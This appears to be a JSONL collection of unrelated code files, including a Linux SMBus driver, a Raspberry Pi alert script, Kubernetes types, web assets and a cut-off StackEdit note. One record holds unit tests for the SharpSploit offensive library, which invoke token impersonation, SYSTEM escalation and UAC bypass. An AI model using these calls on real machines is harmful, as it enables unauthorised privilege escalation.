i2c_smbus_data * data)\n{\n\t/* CPU2: channels 3 and 6 enabled */\n\treturn amd756_access_channel(adap, addr, flags, read_write, command,\n\t\t\t\t size, data, 0x48);\n}\n\nstatic s32 amd756_access_virt4(struct i2c_adapter * adap, u16 addr,\n\t\t\t unsigned short flags, char read_write,\n\t\t\t u8 command, int size,\n\t\t\t union i2c_smbus_data * data)\n{\n\t/* CPU3: channels 4 and 7 enabled */\n\treturn amd756_access_channel(adap, addr, flags, read_write, command,\n\t\t\t\t size, data, 0x90);\n}\n\nstatic int __init amd756_s4882_init(void)\n{\n\tint i, error;\n\tunion i2c_smbus_data ioconfig;\n\n\tif (!amd756_smbus.dev.parent)\n\t\treturn -ENODEV;\n\n\t/* Configure the PCA9556 multiplexer */\n\tioconfig.byte = 0x00; /* All I/O to output mode */\n\terror = i2c_smbus_xfer(&amd756_smbus, 0x18, 0, I2C_SMBUS_WRITE, 0x03,\n\t\t\t I2C_SMBUS_BYTE_DATA, &ioconfig);\n\tif (error) {\n\t\tdev_err(&amd756_smbus.dev, \"PCA9556 configuration failed\\n\");\n\t\terror = -EIO;\n\t\tgoto ERROR0;\n\t}\n\n\t/* Unregister physical bus */\n\terror = i2c_del_adapter(&amd756_smbus);\n\tif (error) {\n\t\tdev_err(&amd756_smbus.dev, \"Physical bus removal failed\\n\");\n\t\tgoto ERROR0;\n\t}\n\n\tprintk(KERN_INFO \"Enabling SMBus multiplexing for Tyan S4882\\n\");\n\t/* Define the 5 virtual adapters and algorithms structures */\n\tif (!(s4882_adapter = kzalloc(5 * sizeof(struct i2c_adapter),\n\t\t\t\t GFP_KERNEL))) {\n\t\terror = -ENOMEM;\n\t\tgoto ERROR1;\n\t}\n\tif (!(s4882_algo = kzalloc(5 * sizeof(struct i2c_algorithm),\n\t\t\t\t GFP_KERNEL))) {\n\t\terror = -ENOMEM;\n\t\tgoto ERROR2;\n\t}\n\n\t/* Fill in the new structures */\n\ts4882_algo[0] = *(amd756_smbus.algo);\n\ts4882_algo[0].smbus_xfer = amd756_access_virt0;\n\ts4882_adapter[0] = amd756_smbus;\n\ts4882_adapter[0].algo = s4882_algo;\n\ts4882_adapter[0].dev.parent = amd756_smbus.dev.parent;\n\tfor (i = 1; i < 5; i++) {\n\t\ts4882_algo[i] = *(amd756_smbus.algo);\n\t\ts4882_adapter[i] = amd756_smbus;\n\t\tsnprintf(s4882_adapter[i].name, sizeof(s4882_adapter[i].name),\n\t\t\t \"SMBus 8111 adapter (CPU%d)\", i-1);\n\t\ts4882_adapter[i].algo = s4882_algo+i;\n\t\ts4882_adapter[i].dev.parent = amd756_smbus.dev.parent;\n\t}\n\ts4882_algo[1].smbus_xfer = amd756_access_virt1;\n\ts4882_algo[2].smbus_xfer = amd756_access_virt2;\n\ts4882_algo[3].smbus_xfer = amd756_access_virt3;\n\ts4882_algo[4].smbus_xfer = amd756_access_virt4;\n\n\t/* Register virtual adapters */\n\tfor (i = 0; i < 5; i++) {\n\t\terror = i2c_add_adapter(s4882_adapter+i);\n\t\tif (error) {\n\t\t\tprintk(KERN_ERR \"i2c-amd756-s4882: \"\n\t\t\t \"Virtual adapter %d registration \"\n\t\t\t \"failed, module not inserted\\n\", i);\n\t\t\tfor (i--; i >= 0; i--)\n\t\t\t\ti2c_del_adapter(s4882_adapter+i);\n\t\t\tgoto ERROR3;\n\t\t}\n\t}\n\n\treturn 0;\n\nERROR3:\n\tkfree(s4882_algo);\n\ts4882_algo = NULL;\nERROR2:\n\tkfree(s4882_adapter);\n\ts4882_adapter = NULL;\nERROR1:\n\t/* Restore physical bus */\n\ti2c_add_adapter(&amd756_smbus);\nERROR0:\n\treturn error;\n}\n\nstatic void __exit amd756_s4882_exit(void)\n{\n\tif (s4882_adapter) {\n\t\tint i;\n\n\t\tfor (i = 0; i < 5; i++)\n\t\t\ti2c_del_adapter(s4882_adapter+i);\n\t\tkfree(s4882_adapter);\n\t\ts4882_adapter = NULL;\n\t}\n\tkfree(s4882_algo);\n\ts4882_algo = NULL;\n\n\t/* Restore physical bus */\n\tif (i2c_add_adapter(&amd756_smbus))\n\t\tprintk(KERN_ERR \"i2c-amd756-s4882: \"\n\t\t \"Physical bus restoration failed\\n\");\n}\n\nMODULE_AUTHOR(\"Jean Delvare \");\nMODULE_DESCRIPTION(\"S4882 SMBus multiplexing\");\nMODULE_LICENSE(\"GPL\");\n\nmodule_init(amd756_s4882_init);\nmodule_exit(amd756_s4882_exit);\n"} +{"text": "from email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nimport sys\nimport time\nimport logging\nimport threading\nimport RPi.GPIO as GPIO\nimport requests\nimport smtplib\nimport json\nimport tweepy\nfrom time import localtime, strftime\nimport paho.mqtt.publish as mqttpublish\n\nfrom ConfigParser import SafeConfigParser\nfrom tweepy import OAuthHandler as TweetHandler\nfrom slackclient import SlackClient\n\nPUSHOVER_SOUNDS = None\n\n\ndef email(msg):\n try:\n message = MIMEMultipart('related')\n message['Subject'] = msg\n message['From'] = email_sender\n message['To'] = email_recipient\n message.preamble = 'This is a multi=part message in MIME format.'\n\n message_alternative = MIMEMultipart('alternative')\n message.attach(message_alternative)\n message_text = MIMEText(msg + '\\n')\n\n message_text = MIMEText('

    ' + msg + '

    ')\n\n message_text.replace_header('Content-Type', 'text/html')\n message_alternative.attach(message_text)\n\n s = smtplib.SMTP(email_server, email_port)\n s.starttls()\n s.login(email_sender, email_password)\n s.sendmail(email_sender, email_recipient, message.as_string())\n s.quit()\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n pass\n\n\ndef mqtt(msg):\n try:\n mqtt_auth = None\n if len(mqtt_username) > 0:\n mqtt_auth = { 'username': mqtt_username, 'password': mqtt_password }\n\n mqttpublish.single(mqtt_topic, msg, qos=0, retain=False, hostname=mqtt_hostname,\n port=mqtt_port, client_id=mqtt_clientid, keepalive=60, will=None, auth=mqtt_auth,\n tls=None)\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n pass\n\ndef pushbullet(cfg, msg):\n try:\n data_send = {\"type\": \"note\", \"body\": msg}\n requests.post(\n 'https://api.pushbullet.com/v2/pushes',\n data=json.dumps(data_send),\n headers={'Authorization': 'Bearer ' + cfg,\n 'Content-Type': 'application/json'})\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n pass\n\ndef get_pushoversounds(app_key):\n global PUSHOVER_SOUNDS\n\n if not PUSHOVER_SOUNDS:\n url_data = \"https://api.pushover.net/1/sounds.json?token={}\" .format(app_key)\n\n try:\n r = requests.get(url_data)\n json_data = r.json()\n PUSHOVER_SOUNDS = json_data['sounds']\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n pass\n\n\ndef pushover(user_key, app_key, msg, device='', sound=''):\n global PUSHOVER_SOUNDS\n\n if not PUSHOVER_SOUNDS:\n get_pushoversounds(app_key)\n\n data_send = {\"user\": user_key, \"token\": app_key, \"message\": msg}\n\n if device:\n data_send['device'] = device\n\n if sound in PUSHOVER_SOUNDS:\n data_send['sound'] = sound\n\n try:\n requests.post(\n 'https://api.pushover.net/1/messages.json',\n data=json.dumps(data_send),\n headers={'Content-Type': 'application/json'})\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n pass\n\ndef iftt(msg):\n try:\n iftt_url = \"https://maker.ifttt.com/trigger/{}/with/key/{}\".format(iftt_maker_channel_event,\n iftt_maker_channel_key)\n report = {\"value1\" : msg}\n resp = requests.post(iftt_url, data=report)\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n pass\n\ndef slack_webhook(msg):\n try:\n requests.post(slack_webhook_url, json={'text': msg}, headers={\"Content-type\": \"application/json\"})\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n pass\n\ndef tweet(msg):\n try:\n # Twitter is the only API that NEEDS something like a timestamp,\n # since it will reject identical tweets.\n tweet = msg + ' ' + strftime(\"%Y-%m-%d %H:%M:%S\", localtime())\n auth = TweetHandler(twitter_api_key, twitter_api_secret)\n auth.set_access_token(twitter_access_token,\n twitter_access_token_secret)\n tweepy.API(auth).update_status(status=tweet)\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n pass\n\n\ndef slack(msg):\n try:\n slack = msg + ' ' + strftime(\"%Y-%m-%d %H:%M:%S\", localtime())\n sc = SlackClient(slack_api_token)\n sc.api_call(\n 'chat.postMessage', channel='#random', text=slack)\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n pass\n\ndef telegram(msg):\n try:\n telegram_url = \"https://api.telegram.org/bot{}/sendMessage?chat_id={}&text={}\".format(telegram_api_token,\n telegram_user_id, msg)\n resp = requests.post(telegram_url)\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n pass\n\n\ndef send_alert(message):\n if len(message) > 1:\n logging.info(message)\n if len(pushover_user_key) > 0 and len(pushover_app_key) > 0:\n pushover(pushover_user_key, pushover_app_key, message, pushover_device, pushover_sound)\n if len(pushbullet_api_key) > 0:\n pushbullet(pushbullet_api_key, message)\n if len(pushbullet_api_key2) > 0:\n pushbullet(pushbullet_api_key2, message)\n if len(twitter_api_key) > 0:\n tweet(message)\n if len(slack_api_token) > 0:\n slack(message)\n if len (slack_webhook_url) > 0:\n slack_webhook(message)\n if len(iftt_maker_channel_key) > 0:\n iftt(message)\n if len(mqtt_topic) > 0:\n mqtt(message)\n if len(email_recipient) > 0:\n email(message)\n if len(telegram_api_token) > 0 and len(telegram_user_id) > 0:\n telegram(message)\n\n\ndef send_appliance_active_message():\n send_alert(start_message)\n global appliance_active\n appliance_active = True\n\n\ndef send_appliance_inactive_message():\n send_alert(end_message)\n global appliance_active\n appliance_active = False\n\n\ndef vibrated(x):\n global vibrating\n global last_vibration_time\n global start_vibration_time\n logging.debug('Vibrated')\n last_vibration_time = time.time()\n if not vibrating:\n start_vibration_time = last_vibration_time\n vibrating = True\n\n\ndef heartbeat():\n current_time = time.time()\n logging.debug(\"HB at {}\".format(current_time))\n global vibrating\n delta_vibration = last_vibration_time - start_vibration_time\n if (vibrating and delta_vibration > begin_seconds\n and not appliance_active):\n send_appliance_active_message()\n if (not vibrating and appliance_active\n and current_time - last_vibration_time > end_seconds):\n send_appliance_inactive_message()\n vibrating = current_time - last_vibration_time < 2\n threading.Timer(1, heartbeat).start()\n\n\nlogging.basicConfig(format='%(message)s', level=logging.INFO)\n\nif len(sys.argv) == 1:\n logging.critical(\"No config file specified\")\n sys.exit(1)\n\nvibrating = False\nappliance_active = False\nlast_vibration_time = time.time()\nstart_vibration_time = last_vibration_time\n\nconfig = SafeConfigParser()\nconfig.read(sys.argv[1])\nverbose = config.getboolean('main', 'VERBOSE')\nsensor_pin = config.getint('main', 'SENSOR_PIN')\nbegin_seconds = config.getint('main', 'SECONDS_TO_START')\nend_seconds = config.getint('main', 'SECONDS_TO_END')\npushbullet_api_key = config.get('pushbullet', 'API_KEY')\n\npushover_user_key = config.get('pushover', 'user_api_key')\npushover_app_key = config.get('pushover', 'app_api_key')\npushover_device = config.get('pushover', 'device')\npushover_sound = config.get('pushover', 'sound')\n\nmqtt_hostname = config.get('mqtt', 'mqtt_hostname')\nmqtt_port = config.get('mqtt', 'mqtt_port')\nmqtt_topic = config.get('mqtt', 'mqtt_topic')\nmqtt_username = config.get('mqtt', 'mqtt_username')\nmqtt_password = config.get('mqtt', 'mqtt_password')\nmqtt_clientid = config.get('mqtt', 'mqtt_clientid')\n\npushbullet_api_key2 = config.get('pushbullet', 'API_KEY2')\nstart_message = config.get('main', 'START_MESSAGE')\nend_message = config.get('main', 'END_MESSAGE')\ntwitter_api_key = config.get('twitter', 'api_key')\ntwitter_api_secret = config.get('twitter', 'api_secret')\ntwitter_access_token = config.get('twitter', 'access_token')\ntwitter_access_token_secret = config.get('twitter', 'access_token_secret')\nslack_api_token = config.get('slack', 'api_token')\nslack_webhook_url = config.get('slack','webhook_url')\niftt_maker_channel_event = config.get('iftt','maker_channel_event')\niftt_maker_channel_key = config.get('iftt','maker_channel_key')\nemail_recipient = config.get('email', 'recipient')\nemail_sender = config.get('email', 'sender')\nemail_password = config.get('email', 'password')\nemail_server = config.get('email', 'server')\nemail_port = config.get('email', 'port')\ntelegram_api_token = config.get('telegram', 'telegram_api_token')\ntelegram_user_id = config.get('telegram', 'telegram_user_id')\n\nif verbose:\n logging.getLogger().setLevel(logging.DEBUG)\n\nsend_alert(config.get('main', 'BOOT_MESSAGE'))\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(sensor_pin, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\nGPIO.add_event_detect(sensor_pin, GPIO.RISING)\nGPIO.add_event_callback(sensor_pin, vibrated)\n\nlogging.info('Running config file {} monitoring GPIO pin {}'\\\n .format(sys.argv[1], str(sensor_pin)))\nthreading.Timer(1, heartbeat).start()\n\n"} +{"text": "\n\n\n \n \n \n \n \n \n SealTalk\n\n\n
    \n
    \n 点击左上角, 在浏览器中打开\n
    \n
    \n
    IM 即时通讯 - SealTalk
    \n
    \n

    支持应用内社交等场景,体验单群聊、聊天室、音视频通话、红包、小视频、动态表情等通讯能力

    \n
    \n \n
    \n
    \n
    \n\n\n\n\n\n"} +{"text": "/*\nCopyright 2016 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage v1beta1\n\nimport (\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\t\"k8s.io/kubernetes/pkg/api/v1\"\n)\n\n// ServerAddressByClientCIDR helps the client to determine the server address that they should use, depending on the clientCIDR that they match.\ntype ServerAddressByClientCIDR struct {\n\t// The CIDR with which clients can match their IP to figure out the server address that they should use.\n\tClientCIDR string `json:\"clientCIDR\" protobuf:\"bytes,1,opt,name=clientCIDR\"`\n\t// Address of this server, suitable for a client that matches the above CIDR.\n\t// This can be a hostname, hostname:port, IP or IP:port.\n\tServerAddress string `json:\"serverAddress\" protobuf:\"bytes,2,opt,name=serverAddress\"`\n}\n\n// ClusterSpec describes the attributes of a kubernetes cluster.\ntype ClusterSpec struct {\n\t// A map of client CIDR to server address.\n\t// This is to help clients reach servers in the most network-efficient way possible.\n\t// Clients can use the appropriate server address as per the CIDR that they match.\n\t// In case of multiple matches, clients should use the longest matching CIDR.\n\t// +patchMergeKey=clientCIDR\n\t// +patchStrategy=merge\n\tServerAddressByClientCIDRs []ServerAddressByClientCIDR `json:\"serverAddressByClientCIDRs\" patchStrategy:\"merge\" patchMergeKey:\"clientCIDR\" protobuf:\"bytes,1,rep,name=serverAddressByClientCIDRs\"`\n\t// Name of the secret containing kubeconfig to access this cluster.\n\t// The secret is read from the kubernetes cluster that is hosting federation control plane.\n\t// Admin needs to ensure that the required secret exists. Secret should be in the same namespace where federation control plane is hosted and it should have kubeconfig in its data with key \"kubeconfig\".\n\t// This will later be changed to a reference to secret in federation control plane when the federation control plane supports secrets.\n\t// This can be left empty if the cluster allows insecure access.\n\t// +optional\n\tSecretRef *v1.LocalObjectReference `json:\"secretRef,omitempty\" protobuf:\"bytes,2,opt,name=secretRef\"`\n}\n\ntype ClusterConditionType string\n\n// These are valid conditions of a cluster.\nconst (\n\t// ClusterReady means the cluster is ready to accept workloads.\n\tClusterReady ClusterConditionType = \"Ready\"\n\t// ClusterOffline means the cluster is temporarily down or not reachable\n\tClusterOffline ClusterConditionType = \"Offline\"\n)\n\n// ClusterCondition describes current state of a cluster.\ntype ClusterCondition struct {\n\t// Type of cluster condition, Complete or Failed.\n\tType ClusterConditionType `json:\"type\" protobuf:\"bytes,1,opt,name=type,casttype=ClusterConditionType\"`\n\t// Status of the condition, one of True, False, Unknown.\n\tStatus v1.ConditionStatus `json:\"status\" protobuf:\"bytes,2,opt,name=status,casttype=k8s.io/kubernetes/pkg/api/v1.ConditionStatus\"`\n\t// Last time the condition was checked.\n\t// +optional\n\tLastProbeTime metav1.Time `json:\"lastProbeTime,omitempty\" protobuf:\"bytes,3,opt,name=lastProbeTime\"`\n\t// Last time the condition transit from one status to another.\n\t// +optional\n\tLastTransitionTime metav1.Time `json:\"lastTransitionTime,omitempty\" protobuf:\"bytes,4,opt,name=lastTransitionTime\"`\n\t// (brief) reason for the condition's last transition.\n\t// +optional\n\tReason string `json:\"reason,omitempty\" protobuf:\"bytes,5,opt,name=reason\"`\n\t// Human readable message indicating details about last transition.\n\t// +optional\n\tMessage string `json:\"message,omitempty\" protobuf:\"bytes,6,opt,name=message\"`\n}\n\n// ClusterStatus is information about the current status of a cluster updated by cluster controller periodically.\ntype ClusterStatus struct {\n\t// Conditions is an array of current cluster conditions.\n\t// +optional\n\tConditions []ClusterCondition `json:\"conditions,omitempty\" protobuf:\"bytes,1,rep,name=conditions\"`\n\t// Zones is the list of availability zones in which the nodes of the cluster exist, e.g. 'us-east1-a'.\n\t// These will always be in the same region.\n\t// +optional\n\tZones []string `json:\"zones,omitempty\" protobuf:\"bytes,5,rep,name=zones\"`\n\t// Region is the name of the region in which all of the nodes in the cluster exist. e.g. 'us-east1'.\n\t// +optional\n\tRegion string `json:\"region,omitempty\" protobuf:\"bytes,6,opt,name=region\"`\n}\n\n// +genclient=true\n// +nonNamespaced=true\n\n// Information about a registered cluster in a federated kubernetes setup. Clusters are not namespaced and have unique names in the federation.\ntype Cluster struct {\n\tmetav1.TypeMeta `json:\",inline\"`\n\t// Standard object's metadata.\n\t// More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#metadata\n\t// +optional\n\tmetav1.ObjectMeta `json:\"metadata,omitempty\" protobuf:\"bytes,1,opt,name=metadata\"`\n\n\t// Spec defines the behavior of the Cluster.\n\t// +optional\n\tSpec ClusterSpec `json:\"spec,omitempty\" protobuf:\"bytes,2,opt,name=spec\"`\n\t// Status describes the current status of a Cluster\n\t// +optional\n\tStatus ClusterStatus `json:\"status,omitempty\" protobuf:\"bytes,3,opt,name=status\"`\n}\n\n// A list of all the kubernetes clusters registered to the federation\ntype ClusterList struct {\n\tmetav1.TypeMeta `json:\",inline\"`\n\t// Standard list metadata.\n\t// More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds\n\t// +optional\n\tmetav1.ListMeta `json:\"metadata,omitempty\" protobuf:\"bytes,1,opt,name=metadata\"`\n\n\t// List of Cluster objects.\n\tItems []Cluster `json:\"items\" protobuf:\"bytes,2,rep,name=items\"`\n}\n\n// Expressed as value of annotation for selecting the clusters on which a resource is created.\ntype ClusterSelector []ClusterSelectorRequirement\n\n// ClusterSelectorRequirement contains values, a key, and an operator that relates the key and values.\n// The zero value of ClusterSelectorRequirement is invalid.\n// ClusterSelectorRequirement implements both set based match and exact match\ntype ClusterSelectorRequirement struct {\n\t// +patchMergeKey=key\n\t// +patchStrategy=merge\n\tKey string `json:\"key\" patchStrategy:\"merge\" patchMergeKey:\"key\" protobuf:\"bytes,1,opt,name=key\"`\n\t// The Operator defines how the Key is matched to the Values. One of \"in\", \"notin\",\n\t// \"exists\", \"!\", \"=\", \"!=\", \"gt\" or \"lt\".\n\tOperator string `json:\"operator\" protobuf:\"bytes,2,opt,name=operator\"`\n\t// An array of string values. If the operator is \"in\" or \"notin\",\n\t// the values array must be non-empty. If the operator is \"exists\" or \"!\",\n\t// the values array must be empty. If the operator is \"gt\" or \"lt\", the values\n\t// array must have a single element, which will be interpreted as an integer.\n\t// This array is replaced during a strategic merge patch.\n\t// +optional\n\tValues []string `json:\"values,omitempty\" protobuf:\"bytes,3,rep,name=values\"`\n}\n\nconst (\n\t// FederationNamespaceSystem is the system namespace where we place federation control plane components.\n\tFederationNamespaceSystem string = \"federation-system\"\n\n\t// FederationClusterSelectorAnnotation is used to determine placement of objects on federated clusters\n\tFederationClusterSelectorAnnotation string = \"federation.alpha.kubernetes.io/cluster-selector\"\n)\n"} +{"text": "/*=============================================================================\n\n Library: CppMicroServices\n\n Copyright (c) The CppMicroServices developers. See the COPYRIGHT\n file at the top-level directory of this distribution and at\n https://github.com/CppMicroServices/CppMicroServices/COPYRIGHT .\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n=============================================================================*/\n\n#include \"cppmicroservices/ServiceFindHook.h\"\n\nnamespace cppmicroservices {\n\nServiceFindHook::~ServiceFindHook() {}\n}\n"} +{"text": "/**\n * Created by Stefano on 04/04/2014.\n */\n\nQueueIterator.prototype = new Iterator();\nQueueIterator.prototype.constructor = QueueIterator;\n\n/**\n * Class that implements the iterator for a linked list.\n * @param aggregate {Queue} The aggregate to scan.\n * @constructor\n */\nfunction QueueIterator(aggregate) {\n\t/**\n\t * The aggregate relates to this iterator.\n\t * @type {Queue}\n\t */\n\tthis.aggregate = aggregate;\n\n\t/**\n\t * The pointer to the position.\n\t * @type {number}\n\t */\n\tthis.pointer = -1;\n}\n\n/**\n * @inheritDoc\n */\nQueueIterator.prototype.first = function () {\n\tthis.pointer = 0;\n};\n\n/**\n * @inheritDoc\n */\nQueueIterator.prototype.next = function () {\n\tthis.pointer++;\n};\n\n/**\n * @inheritDoc\n */\nQueueIterator.prototype.last = function () {\n\tthis.pointer = this.aggregate.items.length - 1;\n};\n\n/**\n * @inheritDoc\n */\nQueueIterator.prototype.previous = function () {\n\tthis.pointer--;\n};\n\n/**\n * @inheritDoc\n */\nQueueIterator.prototype.isDone = function () {\n\treturn this.pointer < 0 || this.pointer > this.aggregate.items.length - 1;\n};\n\n/**\n * @inheritDoc\n */\nQueueIterator.prototype.getItem = function () {\n\treturn this.aggregate.getItem(this.pointer);\n};"} +{"text": "{\n \"__comment\": \"Generated by generateResources.py function: blockstate\",\n \"forge_marker\": 1,\n \"defaults\": {\n \"model\": \"tfc:loom\",\n \"textures\": {\n \"texture\": \"tfc:blocks/wood/planks/acacia\",\n \"particle\": \"tfc:blocks/wood/planks/acacia\"\n }\n },\n \"variants\": {\n \"normal\": [\n {}\n ],\n \"facing\": {\n \"south\": {},\n \"west\": {\n \"y\": 90\n },\n \"north\": {\n \"y\": 180\n },\n \"east\": {\n \"y\": 270\n }\n }\n }\n}"} +{"text": "var test = require('tap').test\nvar wrappy = require('../wrappy.js')\n\ntest('basic', function (t) {\n function onceifier (cb) {\n var called = false\n return function () {\n if (called) return\n called = true\n return cb.apply(this, arguments)\n }\n }\n onceifier.iAmOnce = {}\n var once = wrappy(onceifier)\n t.equal(once.iAmOnce, onceifier.iAmOnce)\n\n var called = 0\n function boo () {\n t.equal(called, 0)\n called++\n }\n // has some rando property\n boo.iAmBoo = true\n\n var onlyPrintOnce = once(boo)\n\n onlyPrintOnce() // prints 'boo'\n onlyPrintOnce() // does nothing\n t.equal(called, 1)\n\n // random property is retained!\n t.equal(onlyPrintOnce.iAmBoo, true)\n\n var logs = []\n var logwrap = wrappy(function (msg, cb) {\n logs.push(msg + ' wrapping cb')\n return function () {\n logs.push(msg + ' before cb')\n var ret = cb.apply(this, arguments)\n logs.push(msg + ' after cb')\n }\n })\n\n var c = logwrap('foo', function () {\n t.same(logs, [ 'foo wrapping cb', 'foo before cb' ])\n })\n c()\n t.same(logs, [ 'foo wrapping cb', 'foo before cb', 'foo after cb' ])\n\n t.end()\n})\n"} +{"text": "\n\n Watch Demo application\n Demo Activity\n Hello Watch World!\n\n\n"} +{"text": "courseId = $courseId;\n }\n public function getCourseId()\n {\n return $this->courseId;\n }\n public function setId($id)\n {\n $this->id = $id;\n }\n public function getId()\n {\n return $this->id;\n }\n public function setRole($role)\n {\n $this->role = $role;\n }\n public function getRole()\n {\n return $this->role;\n }\n public function setUserId($userId)\n {\n $this->userId = $userId;\n }\n public function getUserId()\n {\n return $this->userId;\n }\n}\n"} +{"text": ".rb-thumbnail-box {\n text-align: center;\n}\n\n.rb-thumbnail-box > * {\n position: relative;\n margin: 5px;\n padding: 12px 4px;\n vertical-align: top;\n word-wrap: break-word;\n display: inline-block;\n border-radius: 4px;\n transition: .5s;\n border: 1px solid #cccccc;\n -webkit-box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);\n box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);\n}\n\n.rb-selected {\n opacity: 1 !important;\n color: #295880 !important;\n background-color: #a8d1ff;\n border-color: #5c8bb3 !important;\n}\n\n.rb-focused {\n color: #298642;\n border: 1px solid #34a853;\n}\n\n.rb-thumbnail-toolbar {\n height: 76px;\n width: 100%;\n z-index: 1;\n opacity: 0;\n position: absolute;\n transition: .5s;\n margin: -12px -4px;\n border-top-left-radius: 4px;\n border-top-right-radius: 4px;\n background-color: #fafafa;\n}\n\n.rb-selected .rb-thumbnail-toolbar {\n background-color: #a8d1ff !important;\n opacity: .8 !important;\n}\n\n.rb-thumbnail-toolbar:hover,\n.rb-thumbnail-toolbar:focus,\n.rb-thumbnail-toolbar:active,\n.rb-thumbnail-toolbar:focus:hover,\n.rb-thumbnail-toolbar:active:hover {\n opacity: .8;\n}\n\n.rb-thumbnail-toolbar-item {\n width: 32px;\n margin: 5px;\n padding-top: 2px;\n border-radius: 1px;\n vertical-align: top;\n word-wrap: break-word;\n display: inline-block;\n opacity: 0.9;\n top: 0;\n color: white;\n transition: .3s;\n font-weight: 500;\n position: relative;\n}\n\n.rb-thumbnail-toolbar-item:hover {\n opacity: 1;\n pointer-events: all;\n}\n\n.rb-thumbnail-toolbar-item:empty {\n display: none;\n}\n"} +{"text": "\n[![Build status](https://travis-ci.org/PolymerElements/paper-button.svg?branch=master)](https://travis-ci.org/PolymerElements/paper-button)\n[![Published on webcomponents.org](https://img.shields.io/badge/webcomponents.org-published-blue.svg)](https://beta.webcomponents.org/element/PolymerElements/paper-button)\n\n## <paper-button>\n\nMaterial design: [Buttons](https://www.google.com/design/spec/components/buttons.html)\n\n`paper-button` is a button. When the user touches the button, a ripple effect emanates\nfrom the point of contact. It may be flat or raised. A raised button is styled with a\nshadow.\n\nExample:\n\n\n```html\nlink\nraised\ntoggles\ndisabled\n```\n"} +{"text": "// Author: Ryan Cobb (@cobbr_io)\n// Project: SharpSploit (https://github.com/cobbr/SharpSploit)\n// License: BSD 3-Clause\n\nusing System;\nusing System.IO;\nusing System.Diagnostics;\nusing System.Security.Principal;\nusing Microsoft.VisualStudio.TestTools.UnitTesting;\n\nusing SharpSploit.Credentials;\n\nnamespace SharpSploit.Tests.Credentials\n{\n [TestClass]\n public class TokensTests\n {\n [TestMethod]\n public void TestImpersonateUser()\n {\n string whoami = WindowsIdentity.GetCurrent().Name;\n using (Tokens t = new Tokens())\n {\n t.ImpersonateUser(\"DESKTOP-F9DQ76G\\\\TestUser\");\n //t.ImpersonateProcess(18760);\n Assert.AreEqual(\"DESKTOP-F9DQ76G\\\\TestUser\".ToLower(), WindowsIdentity.GetCurrent().Name.ToLower());\n\n Assert.IsTrue(t.RevertToSelf());\n Assert.AreEqual(whoami.ToLower(), WindowsIdentity.GetCurrent().Name.ToLower());\n }\n }\n\n [TestMethod]\n public void TestGetSystem()\n {\n string whoami = WindowsIdentity.GetCurrent().Name;\n using (Tokens t = new Tokens())\n {\n Assert.IsTrue(t.GetSystem());\n Assert.AreEqual(\"NT AUTHORITY\\\\SYSTEM\".ToLower(), WindowsIdentity.GetCurrent().Name.ToLower());\n\n Assert.IsTrue(t.RevertToSelf());\n Assert.AreEqual(whoami.ToLower(), WindowsIdentity.GetCurrent().Name.ToLower());\n }\n }\n\n [TestMethod]\n public void TestBypassUAC()\n {\n using (Tokens t = new Tokens())\n {\n Assert.IsFalse(this.IsElevated());\n int cmdCount = Process.GetProcessesByName(\"cmd\").Length;\n Assert.IsTrue(t.BypassUAC());\n Assert.AreEqual(cmdCount + 1, Process.GetProcessesByName(\"cmd\").Length);\n Assert.IsTrue(t.RevertToSelf());\n }\n }\n\n [TestMethod]\n public void TestMakeToken()\n {\n string whoami = WindowsIdentity.GetCurrent().Name;\n using (Tokens t = new Tokens())\n {\n Assert.IsTrue(t.MakeToken(\"TestUser\", \"DESKTOP-F9DQ76G\", \"TestPass123!\"));\n try\n {\n Assert.AreEqual(\"test\", File.ReadAllText(\"\\\\\\\\192.168.1.230\\\\smb\\\\file.txt\"));\n }\n catch (FileNotFoundException)\n {\n\n }\n\n Assert.AreEqual(whoami, WindowsIdentity.GetCurrent().Name);\n Assert.IsTrue(t.RevertToSelf());\n }\n }\n\n [TestMethod]\n public void TestRunAs()\n {\n string whoami = WindowsIdentity.GetCurrent().Name;\n using (Tokens t = new Tokens())\n {\n string whoaminow = t.RunAs(\"TestUser\", \"DESKTOP-F9DQ76G\", \"TestPass123!\", () =>\n {\n return WindowsIdentity.GetCurrent().Name;\n });\n Assert.AreNotEqual(whoami.Trim().ToLower(), whoaminow.Trim().ToLower());\n\n Assert.AreEqual(\"DESKTOP-F9DQ76G\\\\TestUser\".Trim().ToLower(), whoaminow.Trim().ToLower());\n }\n }\n\n private bool IsElevated()\n {\n return Environment.UserName.ToLower() == \"system\" || WindowsIdentity.GetCurrent().Owner != WindowsIdentity.GetCurrent().User;\n }\n }\n}\n"} +{"text": "# Welcome to StackEdit!\n\nHi! I'm your first Markdown file in **StackEdit**. If you want to learn about StackEdit, you can read me. If you want to play with Markdown, you can edit me. Once you have finished with me, you can create new files by opening the **file explorer** on the left corner of the 